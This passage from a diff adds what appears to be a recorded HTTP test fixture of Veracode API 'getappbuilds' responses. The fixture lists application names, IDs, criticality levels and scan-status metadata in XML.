+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:15:08 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:15:10 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
